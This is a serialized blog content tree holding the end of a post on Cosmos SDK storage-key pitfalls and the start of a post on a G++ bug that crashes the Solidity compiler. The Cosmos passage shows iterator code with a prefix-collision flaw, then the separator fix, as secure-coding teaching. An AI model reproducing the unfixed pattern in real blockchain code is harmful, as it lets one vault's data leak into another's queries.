9003,"children":89004},{"style":230},[89005],{"type":28,"value":81971},{"type":23,"tag":213,"props":89007,"children":89008},{"style":220},[89009],{"type":28,"value":1375},{"type":23,"tag":213,"props":89011,"children":89012},{"class":215,"line":1921},[89013,89017,89021,89025],{"type":23,"tag":213,"props":89014,"children":89015},{"style":1362},[89016],{"type":28,"value":79129},{"type":23,"tag":213,"props":89018,"children":89019},{"style":230},[89020],{"type":28,"value":81971},{"type":23,"tag":213,"props":89022,"children":89023},{"style":220},[89024],{"type":28,"value":424},{"type":23,"tag":213,"props":89026,"children":89027},{"style":268},[89028],{"type":28,"value":83692},{"type":23,"tag":213,"props":89030,"children":89031},{"class":215,"line":3879},[89032],{"type":23,"tag":213,"props":89033,"children":89034},{"style":220},[89035],{"type":28,"value":3444},{"type":23,"tag":213,"props":89037,"children":89038},{"class":215,"line":3887},[89039],{"type":23,"tag":213,"props":89040,"children":89041},{"emptyLinePlaceholder":18},[89042],{"type":28,"value":530},{"type":23,"tag":213,"props":89044,"children":89045},{"class":215,"line":3918},[89046,89050,89054,89058,89062,89066,89071,89075,89079,89084,89088,89092],{"type":23,"tag":213,"props":89047,"children":89048},{"style":1362},[89049],{"type":28,"value":3369},{"type":23,"tag":213,"props":89051,"children":89052},{"style":268},[89053],{"type":28,"value":62696},{"type":23,"tag":213,"props":89055,"children":89056},{"style":220},[89057],{"type":28,"value":424},{"type":23,"tag":213,"props":89059,"children":89060},{"style":268},[89061],{"type":28,"value":78820},{"type":23,"tag":213,"props":89063,"children":89064},{"style":274},[89065],{"type":28,"value":76469},{"type":23,"tag":213,"props":89067,"children":89068},{"style":268},[89069],{"type":28,"value":89070}," values",{"type":23,"tag":213,"props":89072,"children":89073},{"style":220},[89074],{"type":28,"value":3821},{"type":23,"tag":213,"props":89076,"children":89077},{"style":268},[89078],{"type":28,"value":85524},{"type":23,"tag":213,"props":89080,"children":89081},{"style":220},[89082],{"type":28,"value":89083},"]; ",{"type":23,"tag":213,"props":89085,"children":89086},{"style":274},[89087],{"type":28,"value":20675},{"type":23,"tag":213,"props":89089,"children":89090},{"style":268},[89091],{"type":28,"value":78820},{"type":23,"tag":213,"props":89093,"children":89094},{"style":220},[89095],{"type":28,"value":1375},{"type":23,"tag":213,"props":89097,"children":89098},{"class":215,"line":3926},[89099,89104,89108,89112,89116,89120,89124,89128,89132,89136,89140],{"type":23,"tag":213,"props":89100,"children":89101},{"style":268},[89102],{"type":28,"value":89103}," values",{"type":23,"tag":213,"props":89105,"children":89106},{"style":220},[89107],{"type":28,"value":3821},{"type":23,"tag":213,"props":89109,"children":89110},{"style":268},[89111],{"type":28,"value":85524},{"type":23,"tag":213,"props":89113,"children":89114},{"style":220},[89115],{"type":28,"value":8746},{"type":23,"tag":213,"props":89117,"children":89118},{"style":274},[89119],{"type":28,"value":3190},{"type":23,"tag":213,"props":89121,"children":89122},{"style":257},[89123],{"type":28,"value":85617},{"type":23,"tag":213,"props":89125,"children":89126},{"style":220},[89127],{"type":28,"value":265},{"type":23,"tag":213,"props":89129,"children":89130},{"style":230},[89131],{"type":28,"value":67156},{"type":23,"tag":213,"props":89133,"children":89134},{"style":220},[89135],{"type":28,"value":3821},{"type":23,"tag":213,"props":89137,"children":89138},{"style":290},[89139],{"type":28,"value":85222},{"type":23,"tag":213,"props":89141,"children":89142},{"style":220},[89143],{"type":28,"value":858},{"type":23,"tag":213,"props":89145,"children":89146},{"class":215,"line":3986},[89147],{"type":23,"tag":213,"props":89148,"children":89149},{"style":220},[89150],{"type":28,"value":3444},{"type":23,"tag":213,"props":89152,"children":89153},{"class":215,"line":9132},[89154],{"type":23,"tag":213,"props":89155,"children":89156},{"emptyLinePlaceholder":18},[89157],{"type":28,"value":530},{"type":23,"tag":213,"props":89159,"children":89160},{"class":215,"line":9150},[89161,89166,89170,89174,89178,89182,89186,89190,89194],{"type":23,"tag":213,"props":89162,"children":89163},{"style":268},[89164],{"type":28,"value":89165}," values",{"type":23,"tag":213,"props":89167,"children":89168},{"style":220},[89169],{"type":28,"value":3821},{"type":23,"tag":213,"props":89171,"children":89172},{"style":268},[89173],{"type":28,"value":85524},{"type":23,"tag":213,"props":89175,"children":89176},{"style":220},[89177],{"type":28,"value":49010},{"type":23,"tag":213,"props":89179,"children":89180},{"style":268},[89181],{"type":28,"value":85793},{"type":23,"tag":213,"props":89183,"children":89184},{"style":220},[89185],{"type":28,"value":8746},{"type":23,"tag":213,"props":89187,"children":89188},{"style":274},[89189],{"type":28,"value":3190},{"type":23,"tag":213,"props":89191,"children":89192},{"style":268},[89193],{"type":28,"value":7514},{"type":23,"tag":213,"props":89195,"children":89196},{"style":220},[89197],{"type":28,"value":1375},{"type":23,"tag":213,"props":89199,"children":89200},{"class":215,"line":9195},[89201,89205,89209,89214,89218,89223],{"type":23,"tag":213,"props":89202,"children":89203},{"style":268},[89204],{"type":28,"value":27006},{"type":23,"tag":213,"props":89206,"children":89207},{"style":220},[89208],{"type":28,"value":15390},{"type":23,"tag":213,"props":89210,"children":89211},{"style":268},[89212],{"type":28,"value":89213},"iterator",{"type":23,"tag":213,"props":89215,"children":89216},{"style":220},[89217],{"type":28,"value":124},{"type":23,"tag":213,"props":89219,"children":89220},{"style":257},[89221],{"type":28,"value":89222},"Value",{"type":23,"tag":213,"props":89224,"children":89225},{"style":220},[89226],{"type":28,"value":1809},{"type":23,"tag":213,"props":89228,"children":89229},{"class":215,"line":9301},[89230],{"type":23,"tag":213,"props":89231,"children":89232},{"style":220},[89233],{"type":28,"value":3444},{"type":23,"tag":213,"props":89235,"children":89236},{"class":215,"line":23557},[89237],{"type":23,"tag":213,"props":89238,"children":89239},{"style":220},[89240],{"type":28,"value":2875},{"type":23,"tag":213,"props":89242,"children":89243},{"class":215,"line":23592},[89244,89248],{"type":23,"tag":213,"props":89245,"children":89246},{"style":1362},[89247],{"type":28,"value":17040},{"type":23,"tag":213,"props":89249,"children":89250},{"style":268},[89251],{"type":28,"value":89252}," values\n",{"type":23,"tag":213,"props":89254,"children":89255},{"class":215,"line":23600},[89256],{"type":23,"tag":213,"props":89257,"children":89258},{"style":220},[89259],{"type":28,"value":1208},{"type":23,"tag":24,"props":89261,"children":89262},{},[89263,89265,89271,89272,89278,89280,89285,89287,89292,89294,89299,89301,89307,89309,89315],{"type":28,"value":89264},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":209,"props":89266,"children":89268},{"className":89267},[],[89269],{"type":28,"value":89270},"vaultId = 1",{"type":28,"value":1466},{"type":23,"tag":209,"props":89273,"children":89275},{"className":89274},[],[89276],{"type":28,"value":89277},"vaultId = 10",{"type":28,"value":89279}," coexist. If we try to fetch data under ",{"type":23,"tag":209,"props":89281,"children":89283},{"className":89282},[],[89284],{"type":28,"value":89270},{"type":28,"value":89286},", all entries under ",{"type":23,"tag":209,"props":89288,"children":89290},{"className":89289},[],[89291],{"type":28,"value":89277},{"type":28,"value":89293}," will also be returned simply because ",{"type":23,"tag":209,"props":89295,"children":89297},{"className":89296},[],[89298],{"type":28,"value":4106},{"type":28,"value":89300}," is a prefix of ",{"type":23,"tag":209,"props":89302,"children":89304},{"className":89303},[],[89305],{"type":28,"value":89306},"10",{"type":28,"value":89308},". To fix this, we must once again append the ",{"type":23,"tag":209,"props":89310,"children":89312},{"className":89311},[],[89313],{"type":28,"value":89314},"Separator",{"type":28,"value":89316}," to the iterator prefix.",{"type":23,"tag":202,"props":89318,"children":89320},{"code":89319,"language":76217,"meta":7,"className":76218,"style":7},"i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[89321],{"type":23,"tag":209,"props":89322,"children":89323},{"__ignoreMap":7},[89324,89351,89363,89416],{"type":23,"tag":213,"props":89325,"children":89326},{"class":215,"line":216},[89327,89331,89335,89339,89343,89347],{"type":23,"tag":213,"props":89328,"children":89329},{"style":268},[89330],{"type":28,"value":3826},{"type":23,"tag":213,"props":89332,"children":89333},{"style":274},[89334],{"type":28,"value":76469},{"type":23,"tag":213,"props":89336,"children":89337},{"style":268},[89338],{"type":28,"value":78694},{"type":23,"tag":213,"props":89340,"children":89341},{"style":220},[89342],{"type":28,"value":124},{"type":23,"tag":213,"props":89344,"children":89345},{"style":257},[89346],{"type":28,"value":88509},{"type":23,"tag":213,"props":89348,"children":89349},{"style":220},[89350],{"type":28,"value":1511},{"type":23,"tag":213,"props":89352,"children":89353},{"class":215,"line":226},[89354,89359],{"type":23,"tag":213,"props":89355,"children":89356},{"style":268},[89357],{"type":28,"value":89358}," kvStore",{"type":23,"tag":213,"props":89360,"children":89361},{"style":220},[89362],{"type":28,"value":944},{"type":23,"tag":213,"props":89364,"children":89365},{"class":215,"line":524},[89366,89371,89375,89379,89383,89388,89392,89396,89400,89404,89408,89412],{"type":23,"tag":213,"props":89367,"children":89368},{"style":268},[89369],{"type":28,"value":89370}," fmt",{"type":23,"tag":213,"props":89372,"children":89373},{"style":220},[89374],{"type":28,"value":124},{"type":23,"tag":213,"props":89376,"children":89377},{"style":257},[89378],{"type":28,"value":85276},{"type":23,"tag":213,"props":89380,"children":89381},{"style":220},[89382],{"type":28,"value":265},{"type":23,"tag":213,"props":89384,"children":89385},{"style":246},[89386],{"type":28,"value":89387},"\"%s%d%s\"",{"type":23,"tag":213,"props":89389,"children":89390},{"style":220},[89391],{"type":28,"value":424},{"type":23,"tag":213,"props":89393,"children":89394},{"style":268},[89395],{"type":28,"value":88559},{"type":23,"tag":213,"props":89397,"children":89398},{"style":220},[89399],{"type":28,"value":424},{"type":23,"tag":213,"props":89401,"children":89402},{"style":268},[89403],{"type":28,"value":88344},{"type":23,"tag":213,"props":89405,"children":89406},{"style":220},[89407],{"type":28,"value":424},{"type":23,"tag":213,"props":89409,"children":89410},{"style":268},[89411],{"type":28,"value":88675},{"type":23,"tag":213,"props":89413,"children":89414},{"style":220},[89415],{"type":28,"value":1715},{"type":23,"tag":213,"props":89417,"children":89418},{"class":215,"line":533},[89419],{"type":23,"tag":213,"props":89420,"children":89421},{"style":220},[89422],{"type":28,"value":2183},{"type":23,"tag":24,"props":89424,"children":89425},{},[89426,89428,89433],{"type":28,"value":89427},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":209,"props":89429,"children":89431},{"className":89430},[],[89432],{"type":28,"value":85030},{"type":28,"value":89434}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":24,"props":89436,"children":89437},{},[89438],{"type":28,"value":89439},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":9693,"props":89441,"children":89443},{"id":89442},"real-world-examples-5",[89444],{"type":28,"value":76742},{"type":23,"tag":24,"props":89446,"children":89447},{},[89448,89449,89454,89456,89463,89465,89471],{"type":28,"value":2623},{"type":23,"tag":209,"props":89450,"children":89452},{"className":89451},[],[89453],{"type":28,"value":78515},{"type":28,"value":89455}," previously lacked protection against KVStore ",{"type":23,"tag":36,"props":89457,"children":89460},{"href":89458,"rel":89459},"https://github.com/cosmos/cosmos-sdk/pull/9363",[40],[89461],{"type":28,"value":89462},"key collisions",{"type":28,"value":89464},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":209,"props":89466,"children":89468},{"className":89467},[],[89469],{"type":28,"value":89470},"KVStores",{"type":28,"value":89472}," that were not independent of each other.",{"type":23,"tag":24,"props":89474,"children":89475},{},[89476],{"type":23,"tag":36,"props":89477,"children":89480},{"href":89478,"rel":89479},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[40],[89481],{"type":28,"value":76792},{"type":23,"tag":202,"props":89483,"children":89485},{"code":89484,"language":76217,"meta":7,"className":76218,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n keys := make(map[string]*KVStoreKey)\n for _, name := range names {\n keys[name] = NewKVStoreKey(name)\n }\n\n return keys\n}\n",[89486],{"type":23,"tag":209,"props":89487,"children":89488},{"__ignoreMap":7},[89489,89551,89599,89635,89675,89682,89689,89701],{"type":23,"tag":213,"props":89490,"children":89491},{"class":215,"line":216},[89492,89496,89501,89505,89510,89514,89518,89522,89526,89530,89534,89538,89542,89547],{"type":23,"tag":213,"props":89493,"children":89494},{"style":230},[89495],{"type":28,"value":76353},{"type":23,"tag":213,"props":89497,"children":89498},{"style":257},[89499],{"type":28,"value":89500}," NewKVStoreKeys",{"type":23,"tag":213,"props":89502,"children":89503},{"style":220},[89504],{"type":28,"value":265},{"type":23,"tag":213,"props":89506,"children":89507},{"style":268},[89508],{"type":28,"value":89509},"names",{"type":23,"tag":213,"props":89511,"children":89512},{"style":274},[89513],{"type":28,"value":25358},{"type":23,"tag":213,"props":89515,"children":89516},{"style":290},[89517],{"type":28,"value":29722},{"type":23,"tag":213,"props":89519,"children":89520},{"style":220},[89521],{"type":28,"value":298},{"type":23,"tag":213,"props":89523,"children":89524},{"style":230},[89525],{"type":28,"value":67156},{"type":23,"tag":213,"props":89527,"children":89528},{"style":220},[89529],{"type":28,"value":3821},{"type":23,"tag":213,"props":89531,"children":89532},{"style":290},[89533],{"type":28,"value":29722},{"type":23,"tag":213,"props":89535,"children":89536},{"style":220},[89537],{"type":28,"value":15470},{"type":23,"tag":213,"props":89539,"children":89540},{"style":274},[89541],{"type":28,"value":1696},{"type":23,"tag":213,"props":89543,"children":89544},{"style":290},[89545],{"type":28,"value":89546},"KVStoreKey",{"type":23,"tag":213,"props":89548,"children":89549},{"style":220},[89550],{"type":28,"value":1375},{"type":23,"tag":213,"props":89552,"children":89553},{"class":215,"line":226},[89554,89559,89563,89567,89571,89575,89579,89583,89587,89591,89595],{"type":23,"tag":213,"props":89555,"children":89556},{"style":268},[89557],{"type":28,"value":89558}," keys",{"type":23,"tag":213,"props":89560,"children":89561},{"style":274},[89562],{"type":28,"value":76469},{"type":23,"tag":213,"props":89564,"children":89565},{"style":257},[89566],{"type":28,"value":85617},{"type":23,"tag":213,"props":89568,"children":89569},{"style":220},[89570],{"type":28,"value":265},{"type":23,"tag":213,"props":89572,"children":89573},{"style":230},[89574],{"type":28,"value":67156},{"type":23,"tag":213,"props":89576,"children":89577},{"style":220},[89578],{"type":28,"value":3821},{"type":23,"tag":213,"props":89580,"children":89581},{"style":290},[89582],{"type":28,"value":29722},{"type":23,"tag":213,"props":89584,"children":89585},{"style":220},[89586],{"type":28,"value":15470},{"type":23,"tag":213,"props":89588,"children":89589},{"style":274},[89590],{"type":28,"value":1696},{"type":23,"tag":213,"props":89592,"children":89593},{"style":290},[89594],{"type":28,"value":89546},{"type":23,"tag":213,"props":89596,"children":89597},{"style":220},[89598],{"type":28,"value":2183},{"type":23,"tag":213,"props":89600,"children":89601},{"class":215,"line":524},[89602,89606,89610,89614,89618,89622,89626,89631],{"type":23,"tag":213,"props":89603,"children":89604},{"style":1362},[89605],{"type":28,"value":3131},{"type":23,"tag":213,"props":89607,"children":89608},{"style":268},[89609],{"type":28,"value":3136},{"type":23,"tag":213,"props":89611,"children":89612},{"style":220},[89613],{"type":28,"value":424},{"type":23,"tag":213,"props":89615,"children":89616},{"style":268},[89617],{"type":28,"value":48550},{"type":23,"tag":213,"props":89619,"children":89620},{"style":274},[89621],{"type":28,"value":76469},{"type":23,"tag":213,"props":89623,"children":89624},{"style":1362},[89625],{"type":28,"value":77452},{"type":23,"tag":213,"props":89627,"children":89628},{"style":268},[89629],{"type":28,"value":89630}," names",{"type":23,"tag":213,"props":89632,"children":89633},{"style":220},[89634],{"type":28,"value":1375},{"type":23,"tag":213,"props":89636,"children":89637},{"class":215,"line":533},[89638,89642,89646,89650,89654,89658,89663,89667,89671],{"type":23,"tag":213,"props":89639,"children":89640},{"style":268},[89641],{"type":28,"value":25390},{"type":23,"tag":213,"props":89643,"children":89644},{"style":220},[89645],{"type":28,"value":3821},{"type":23,"tag":213,"props":89647,"children":89648},{"style":268},[89649],{"type":28,"value":48550},{"type":23,"tag":213,"props":89651,"children":89652},{"style":220},[89653],{"type":28,"value":8746},{"type":23,"tag":213,"props":89655,"children":89656},{"style":274},[89657],{"type":28,"value":3190},{"type":23,"tag":213,"props":89659,"children":89660},{"style":257},[89661],{"type":28,"value":89662}," NewKVStoreKey",{"type":23,"tag":213,"props":89664,"children":89665},{"style":220},[89666],{"type":28,"value":265},{"type":23,"tag":213,"props":89668,"children":89669},{"style":268},[89670],{"type":28,"value":48550},{"type":23,"tag":213,"props":89672,"children":89673},{"style":220},[89674],{"type":28,"value":2183},{"type":23,"tag":213,"props":89676,"children":89677},{"class":215,"line":543},[89678],{"type":23,"tag":213,"props":89679,"children":89680},{"style":220},[89681],{"type":28,"value":2875},{"type":23,"tag":213,"props":89683,"children":89684},{"class":215,"line":551},[89685],{"type":23,"tag":213,"props":89686,"children":89687},{"emptyLinePlaceholder":18},[89688],{"type":28,"value":530},{"type":23,"tag":213,"props":89690,"children":89691},{"class":215,"line":570},[89692,89696],{"type":23,"tag":213,"props":89693,"children":89694},{"style":1362},[89695],{"type":28,"value":17040},{"type":23,"tag":213,"props":89697,"children":89698},{"style":268},[89699],{"type":28,"value":89700}," keys\n",{"type":23,"tag":213,"props":89702,"children":89703},{"class":215,"line":655},[89704],{"type":23,"tag":213,"props":89705,"children":89706},{"style":220},[89707],{"type":28,"value":1208},{"type":23,"tag":24,"props":89709,"children":89710},{},[89711,89713,89718,89720,89725,89727,89732],{"type":28,"value":89712},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":209,"props":89714,"children":89716},{"className":89715},[],[89717],{"type":28,"value":78515},{"type":28,"value":89719}," will refuse to run if any ",{"type":23,"tag":209,"props":89721,"children":89723},{"className":89722},[],[89724],{"type":28,"value":85030},{"type":28,"value":89726}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":209,"props":89728,"children":89730},{"className":89729},[],[89731],{"type":28,"value":85030},{"type":28,"value":89733}," level.",{"type":23,"tag":24,"props":89735,"children":89736},{},[89737,89739,89746],{"type":28,"value":89738},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":36,"props":89740,"children":89743},{"href":89741,"rel":89742},"https://github.com/cosmos/cosmos-sdk/issues/12661",[40],[89744],{"type":28,"value":89745},"incorrect iterator behavior",{"type":28,"value":124},{"type":23,"tag":24,"props":89748,"children":89749},{},[89750,89752,89759],{"type":28,"value":89751},"Notably, gradual adoption of the ",{"type":23,"tag":36,"props":89753,"children":89756},{"href":89754,"rel":89755},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[40],[89757],{"type":28,"value":89758},"collections",{"type":28,"value":89760}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":47,"props":89762,"children":89763},{"id":28989},[89764],{"type":28,"value":19000},{"type":23,"tag":24,"props":89766,"children":89767},{},[89768],{"type":28,"value":89769},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":24,"props":89771,"children":89772},{},[89773],{"type":28,"value":89774},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":2957,"props":89776,"children":89777},{},[89778],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":89780},[89781,89782,89785,89788,89791,89794,89797,89800],{"id":29072,"depth":226,"text":29075},{"id":75934,"depth":226,"text":75937,"children":89783},[89784],{"id":76739,"depth":524,"text":76742},{"id":77335,"depth":226,"text":77338,"children":89786},[89787],{"id":77984,"depth":524,"text":76742},{"id":78481,"depth":226,"text":78484,"children":89789},[89790],{"id":79781,"depth":524,"text":76742},{"id":81125,"depth":226,"text":81128,"children":89792},[89793],{"id":81663,"depth":524,"text":76742},{"id":83182,"depth":226,"text":83185,"children":89795},[89796],{"id":84062,"depth":524,"text":76742},{"id":85016,"depth":226,"text":85019,"children":89798},[89799],{"id":89442,"depth":524,"text":76742},{"id":28989,"depth":226,"text":19000},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":89805,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":89806,"description":89807,"author":89808,"image":89809,"date":89811,"tags":89812,"isFeatured":18,"onBlogPage":18,"body":89813,"_type":2967,"_id":92522,"_source":2969,"_file":92523,"_stem":92524,"_extension":2972},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":89810,"height":13703,"width":13703},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[4569,29067],{"type":20,"children":89814,"toc":92506},[89815,89820,89957,89962,89967,89972,89977,90090,90095,90100,90105,90145,90158,90163,90181,90186,90189,90195,90209,90222,90227,90240,90245,90257,90270,90275,90278,90284,90290,90347,90352,90358,90372,90407,90415,90423,90443,90449,90454,90894,90902,90946,90951,90959,90967,91006,91011,91019,91024,91027,91033,91039,91064,91076,91103,91136,91141,91144,91150,91169,91687,91700,91718,91741,91752,91757,91860,91865,91870,91884,91889,91965,91983,91988,91991,91997,92009,92021,92361,92366,92384,92389,92392,92398,92403,92421,92441,92444,92450,92469,92472,92476,92481,92492,92497,92502],{"type":23,"tag":24,"props":89816,"children":89817},{},[89818],{"type":28,"value":89819},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":202,"props":89821,"children":89823},{"code":89822,"language":4569,"meta":7,"className":4570,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure returns (uint256) {\n return 1 ** 2;\n }\n}\n",[89824],{"type":23,"tag":209,"props":89825,"children":89826},{"__ignoreMap":7},[89827,89835,89853,89860,89877,89919,89943,89950],{"type":23,"tag":213,"props":89828,"children":89829},{"class":215,"line":216},[89830],{"type":23,"tag":213,"props":89831,"children":89832},{"style":537},[89833],{"type":28,"value":89834},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":213,"props":89836,"children":89837},{"class":215,"line":226},[89838,89843,89848],{"type":23,"tag":213,"props":89839,"children":89840},{"style":1362},[89841],{"type":28,"value":89842},"pragma",{"type":23,"tag":213,"props":89844,"children":89845},{"style":230},[89846],{"type":28,"value":89847}," solidity",{"type":23,"tag":213,"props":89849,"children":89850},{"style":220},[89851],{"type":28,"value":89852}," ^0.8.25;\n",{"type":23,"tag":213,"props":89854,"children":89855},{"class":215,"line":524},[89856],{"type":23,"tag":213,"props":89857,"children":89858},{"emptyLinePlaceholder":18},[89859],{"type":28,"value":530},{"type":23,"tag":213,"props":89861,"children":89862},{"class":215,"line":533},[89863,89868,89873],{"type":23,"tag":213,"props":89864,"children":89865},{"style":230},[89866],{"type":28,"value":89867},"contract",{"type":23,"tag":213,"props":89869,"children":89870},{"style":290},[89871],{"type":28,"value":89872}," A",{"type":23,"tag":213,"props":89874,"children":89875},{"style":220},[89876],{"type":28,"value":1375},{"type":23,"tag":213,"props":89878,"children":89879},{"class":215,"line":543},[89880,89885,89890,89894,89898,89903,89907,89911,89915],{"type":23,"tag":213,"props":89881,"children":89882},{"style":230},[89883],{"type":28,"value":89884}," function",{"type":23,"tag":213,"props":89886,"children":89887},{"style":257},[89888],{"type":28,"value":89889}," a",{"type":23,"tag":213,"props":89891,"children":89892},{"style":220},[89893],{"type":28,"value":2698},{"type":23,"tag":213,"props":89895,"children":89896},{"style":230},[89897],{"type":28,"value":61729},{"type":23,"tag":213,"props":89899,"children":89900},{"style":230},[89901],{"type":28,"value":89902}," pure",{"type":23,"tag":213,"props":89904,"children":89905},{"style":1362},[89906],{"type":28,"value":76046},{"type":23,"tag":213,"props":89908,"children":89909},{"style":220},[89910],{"type":28,"value":400},{"type":23,"tag":213,"props":89912,"children":89913},{"style":290},[89914],{"type":28,"value":46219},{"type":23,"tag":213,"props":89916,"children":89917},{"style":220},[89918],{"type":28,"value":14870},{"type":23,"tag":213,"props":89920,"children":89921},{"class":215,"line":551},[89922,89926,89930,89935,89939],{"type":23,"tag":213,"props":89923,"children":89924},{"style":1362},[89925],{"type":28,"value":2839},{"type":23,"tag":213,"props":89927,"children":89928},{"style":514},[89929],{"type":28,"value":4618},{"type":23,"tag":213,"props":89931,"children":89932},{"style":274},[89933],{"type":28,"value":89934}," **",{"type":23,"tag":213,"props":89936,"children":89937},{"style":514},[89938],{"type":28,"value":8022},{"type":23,"tag":213,"props":89940,"children":89941},{"style":220},[89942],{"type":28,"value":313},{"type":23,"tag":213,"props":89944,"children":89945},{"class":215,"line":570},[89946],{"type":23,"tag":213,"props":89947,"children":89948},{"style":220},[89949],{"type":28,"value":2875},{"type":23,"tag":213,"props":89951,"children":89952},{"class":215,"line":655},[89953],{"type":23,"tag":213,"props":89954,"children":89955},{"style":220},[89956],{"type":28,"value":1208},{"type":23,"tag":24,"props":89958,"children":89959},{},[89960],{"type":28,"value":89961},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":24,"props":89963,"children":89964},{},[89965],{"type":28,"value":89966},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":24,"props":89968,"children":89969},{},[89970],{"type":28,"value":89971},"And yet, it crashes.",{"type":23,"tag":24,"props":89973,"children":89974},{},[89975],{"type":28,"value":89976},"Another minimal example?",{"type":23,"tag":202,"props":89978,"children":89980},{"code":89979,"language":4569,"meta":7,"className":4570,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n function a() public pure {\n uint256[1] data;\n }\n}\n",[89981],{"type":23,"tag":209,"props":89982,"children":89983},{"__ignoreMap":7},[89984,89991,90006,90013,90028,90055,90076,90083],{"type":23,"tag":213,"props":89985,"children":89986},{"class":215,"line":216},[89987],{"type":23,"tag":213,"props":89988,"children":89989},{"style":537},[89990],{"type":28,"value":89834},{"type":23,"tag":213,"props":89992,"children":89993},{"class":215,"line":226},[89994,89998,90002],{"type":23,"tag":213,"props":89995,"children":89996},{"style":1362},[89997],{"type":28,"value":89842},{"type":23,"tag":213,"props":89999,"children":90000},{"style":230},[90001],{"type":28,"value":89847},{"type":23,"tag":213,"props":90003,"children":90004},{"style":220},[90005],{"type":28,"value":89852},{"type":23,"tag":213,"props":90007,"children":90008},{"class":215,"line":524},[90009],{"type":23,"tag":213,"props":90010,"children":90011},{"emptyLinePlaceholder":18},[90012],{"type":28,"value":530},{"type":23,"tag":213,"props":90014,"children":90015},{"class":215,"line":533},[90016,90020,90024],{"type":23,"tag":213,"props":90017,"children":90018},{"style":230},[90019],{"type":28,"value":89867},{"type":23,"tag":213,"props":90021,"children":90022},{"style":290},[90023],{"type":28,"value":89872},{"type":23,"tag":213,"props":90025,"children":90026},{"style":220},[90027],{"type":28,"value":1375},{"type":23,"tag":213,"props":90029,"children":90030},{"class":215,"line":543},[90031,90035,90039,90043,90047,90051],{"type":23,"tag":213,"props":90032,"children":90033},{"style":230},[90034],{"type":28,"value":89884},{"type":23,"tag":213,"props":90036,"children":90037},{"style":257},[90038],{"type":28,"value":89889},{"type":23,"tag":213,"props":90040,"children":90041},{"style":220},[90042],{"type":28,"value":2698},{"type":23,"tag":213,"props":90044,"children":90045},{"style":230},[90046],{"type":28,"value":61729},{"type":23,"tag":213,"props":90048,"children":90049},{"style":230},[90050],{"type":28,"value":89902},{"type":23,"tag":213,"props":90052,"children":90053},{"style":220},[90054],{"type":28,"value":1375},{"type":23,"tag":213,"props":90056,"children":90057},{"class":215,"line":551},[90058,90063,90067,90071],{"type":23,"tag":213,"props":90059,"children":90060},{"style":290},[90061],{"type":28,"value":90062}," uint256",{"type":23,"tag":213,"props":90064,"children":90065},{"style":220},[90066],{"type":28,"value":3821},{"type":23,"tag":213,"props":90068,"children":90069},{"style":514},[90070],{"type":28,"value":4106},{"type":23,"tag":213,"props":90072,"children":90073},{"style":220},[90074],{"type":28,"value":90075},"] data;\n",{"type":23,"tag":213,"props":90077,"children":90078},{"class":215,"line":570},[90079],{"type":23,"tag":213,"props":90080,"children":90081},{"style":220},[90082],{"type":28,"value":2875},{"type":23,"tag":213,"props":90084,"children":90085},{"class":215,"line":655},[90086],{"type":23,"tag":213,"props":90087,"children":90088},{"style":220},[90089],{"type":28,"value":1208},{"type":23,"tag":24,"props":90091,"children":90092},{},[90093],{"type":28,"value":90094},"Still crashes.",{"type":23,"tag":24,"props":90096,"children":90097},{},[90098],{"type":28,"value":90099},"So what’s going on?",{"type":23,"tag":24,"props":90101,"children":90102},{},[90103],{"type":28,"value":90104},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":202,"props":90106,"children":90108},{"code":90107,"language":29169,"meta":7,"className":29167,"style":7},"if (*lengthValue == 0) { ... 